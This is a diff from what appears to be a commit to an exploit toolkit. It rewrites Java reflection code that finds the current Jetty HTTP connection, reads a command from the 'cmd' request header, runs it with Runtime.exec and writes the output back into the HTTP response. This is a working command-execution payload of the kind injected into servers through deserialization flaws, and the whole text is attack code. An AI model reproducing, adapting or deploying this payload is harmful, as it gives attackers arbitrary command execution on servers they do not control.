|
10 | 10 | obj = field.get(obj); |
11 | 11 |
|
12 | 12 | Object[] obj_arr = (Object[]) obj; |
13 | | - for(Object o : obj_arr){ |
| 13 | + for(int i = 0; i < obj_arr.length; i++){ |
| 14 | + Object o = obj_arr[i]; |
14 | 15 | if(o == null) continue; |
15 | 16 |
|
16 | 17 | field = o.getClass().getDeclaredField("value"); |
|
19 | 20 |
|
20 | 21 | if(obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")){ |
21 | 22 | Object connection = obj; |
22 | | - java.lang.reflect.Method method = connection.getClass().getMethod("getRequest"); |
23 | | - obj = method.invoke(connection); |
| 23 | + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", null); |
| 24 | + obj = method.invoke(connection, null); |
24 | 25 |
|
25 | | - method = obj.getClass().getMethod("getHeader", String.class); |
26 | | - obj = method.invoke(obj, "cmd"); |
| 26 | + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); |
| 27 | + obj = method.invoke(obj, new Object[]{"cmd"}); |
27 | 28 |
|
28 | 29 | String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next(); |
29 | 30 |
|
30 | | - method = connection.getClass().getMethod("getPrintWriter", String.class); |
31 | | - java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8"); |
| 31 | + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); |
| 32 | + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{"utf-8"}); |
32 | 33 | printWriter.println(res); |
33 | 34 |
|
34 | 35 | }else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ |
35 | | - java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel"); |
36 | | - Object httpChannel = method.invoke(obj); |
| 36 | + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); |
| 37 | + Object httpChannel = method.invoke(obj, null); |
37 | 38 |
|
38 | | - method = httpChannel.getClass().getMethod("getRequest"); |
39 | | - obj = method.invoke(httpChannel); |
| 39 | + method = httpChannel.getClass().getMethod("getRequest", null); |
| 40 | + obj = method.invoke(httpChannel, null); |
40 | 41 |
|
41 | | - method = obj.getClass().getMethod("getHeader", String.class); |
42 | | - obj = method.invoke(obj, "cmd"); |
| 42 | + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); |
| 43 | + obj = method.invoke(obj, new Object[]{"cmd"}); |
43 | 44 |
|
44 | 45 | String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next(); |
45 | 46 |
|
46 | | - method = httpChannel.getClass().getMethod("getResponse"); |
47 | | - obj = method.invoke(httpChannel); |
| 47 | + method = httpChannel.getClass().getMethod("getResponse", null); |
| 48 | + obj = method.invoke(httpChannel, null); |
48 | 49 |
|
49 | | - method = obj.getClass().getMethod("getWriter"); |
50 | | - java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj); |
| 50 | + method = obj.getClass().getMethod("getWriter", null); |
| 51 | + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null); |
51 | 52 | printWriter.println(res); |
52 | 53 | } |
53 | 54 | } |
|
0 commit comments